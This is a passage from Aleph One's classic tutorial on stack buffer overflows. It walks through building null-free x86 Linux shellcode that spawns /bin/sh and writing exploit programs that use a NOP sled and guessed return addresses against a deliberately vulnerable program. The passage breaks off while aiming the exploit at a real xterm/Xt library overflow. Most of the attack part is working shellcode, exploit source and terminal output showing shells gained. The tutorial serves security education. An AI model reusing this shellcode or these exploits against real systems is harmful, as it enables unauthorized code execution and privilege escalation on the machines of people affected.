Classic: Smashing the Stack for Fun and Profit
Aleph One
November 10 - 16

testsc.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() { int *ret;

ret = (int *)&ret + 2; (*ret) = (int)shellcode;

} ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc testsc.c [aleph1]$ ./testsc $ exit [aleph1]$ ------------------------------------------------------------------------------

It works! But there is an obstacle. In most cases we'll be trying to overflow a character buffer. As such any null bytes in our shellcode will be considered the end of the string, and the copy will be terminated. There must be no null bytes in the shellcode for the exploit to work. Let's try to eliminate the bytes (and at the same time make it smaller).

Problem instruction: Substitute with: -------------------------------------------------------- movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------- movl $0xb,%eax movb $0xb,%al -------------------------------------------------------- movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax --------------------------------------------------------

Our improved code:

shellcodeasm2.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x1f # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes .string \"/bin/sh\" # 8 bytes # 46 bytes total "); } ------------------------------------------------------------------------------

And our new test program:

testsc2.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main() { int *ret;

ret = (int *)&ret + 2; (*ret) = (int)shellcode;

} ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc2 testsc2.c [aleph1]$ ./testsc2 $ exit [aleph1]$ ------------------------------------------------------------------------------

Writing an Exploit ~~~~~~~~~~~~~~~~~~ (or how to mung the stack) ~~~~~~~~~~~~~~~~~~~~~~~~~~

Lets try to pull all our pieces together. We have the shellcode. We know it must be part of the string which we'll use to overflow the buffer. We know we must point the return address back into the buffer. This example will demonstrate these points:

overflow1.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i];

strcpy(buffer,large_string); } ------------------------------------------------------------------------------

------------------------------------------------------------------------------ [aleph1]$ gcc -o exploit1 exploit1.c [aleph1]$ ./exploit1 $ exit exit [aleph1]$ ------------------------------------------------------------------------------

What we have done above is filled the array large_string[] with the address of buffer[], which is where our code will be. Then we copy our shellcode into the beginning of the large_string string. strcpy() will then copy large_string onto buffer without doing any bounds checking, and will overflow the return address, overwriting it with the address where our code is now located. Once we reach the end of main and it tried to return it jumps to our code, and execs a shell.

The problem we are faced when trying to overflow the buffer of another program is trying to figure out at what address the buffer (and thus our code) will be. The answer is that for every program the stack will start at the same address. Most programs do not push more than a few hundred or a few thousand bytes into the stack at any one time. Therefore by knowing where the stack starts we can try to guess where the buffer we are trying to overflow will be. Here is a little program that will print its stack pointer:

sp.c ------------------------------------------------------------------------------ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main() { printf("0x%x\n", get_sp()); } ------------------------------------------------------------------------------

------------------------------------------------------------------------------ [aleph1]$ ./sp 0x8000470 [aleph1]$ ------------------------------------------------------------------------------

Lets assume this is the program we are trying to overflow is:

vulnerable.c ------------------------------------------------------------------------------ void main(int argc, char *argv[]) { char buffer[512];

if (argc > 1) strcpy(buffer,argv[1]); } ------------------------------------------------------------------------------

We can create a program that takes as a parameter a buffer size, and an offset from its own stack pointer (where we believe the buffer we want to overflow may live). We'll put the overflow string in an environment variable so it is easy to manipulate:

exploit2.c ------------------------------------------------------------------------------ #include

#define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512

char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) { __asm__("movl %esp,%eax"); }

void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i;

if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); }

addr = get_sp() - offset; printf("Using address: 0x%x\n", addr);

ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr;

ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------

Now we can try to guess what the buffer and offset should be:

------------------------------------------------------------------------------ [aleph1]$ ./exploit2 500 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG [aleph1]$ exit [aleph1]$ ./exploit2 600 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG Illegal instruction [aleph1]$ exit [aleph1]$ ./exploit2 600 100 Using address: 0xbffffd4c [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit [aleph1]$ ./exploit2 600 200 Using address: 0xbffffce8 [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit . . . [aleph1]$ ./exploit2 600 1564 Using address: 0xbffff794 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------

As we can see this is not an efficient process. Trying to guess the offset even while knowing where the beginning of the stack lives is nearly impossible. We would need at best a hundred tries, and at worst a couple of thousand. The problem is we need to guess *exactly* where the address of our code will start. If we are off by one byte more or less we will just get a segmentation violation or a invalid instruction. One way to increase our chances is to pad the front of our overflow buffer with NOP instructions. Almost all processors have a NOP instruction that performs a null operation. It is usually used to delay execution for purposes of timing. We will take advantage of it and fill half of our overflow buffer with them. We will place our shellcode at the center, and then follow it with the return addresses. If we are lucky and the return address points anywhere in the string of NOPs, they will just get executed until they reach our code. In the Intel architecture the NOP instruction is one byte long and it translates to 0x90 in machine code. Assuming the stack starts at address 0xFF, that S stands for shell code, and that N stands for a NOP instruction the new stack would look like this:

bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c

<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^ | |_____________________| top of bottom of stack stack

The new exploits is then:

exploit3.c ------------------------------------------------------------------------------ #include

#define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90

char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) { __asm__("movl %esp,%eax"); }

void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i;

if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); }

addr = get_sp() - offset; printf("Using address: 0x%x\n", addr);

ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr;

for (i = 0; i < bsize/2; i++) buff[i] = NOP;

ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------

A good selection for our buffer size is about 100 bytes more than the size of the buffer we are trying to overflow. This will place our code at the end of the buffer we are trying to overflow, giving a lot of space for the NOPs, but still overwriting the return address with the address we guessed. The buffer we are trying to overflow is 512 bytes long, so we'll use 612. Let's try to overflow our test program with our new exploit:

------------------------------------------------------------------------------ [aleph1]$ ./exploit3 612 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------

Whoa! First try! This change has improved our chances a hundredfold. Let's try it now on a real case of a buffer overflow. We'll use for our demonstration the buffer overflow on the Xt library. For our example, we'll use xterm (all programs linked with the Xt library are vulnerable). You must be running an X server and allow connections to it from the localhost. Set your DISPLAY variable accordingly.

------------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit3 1124 Using address: 0xbffffdb4 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG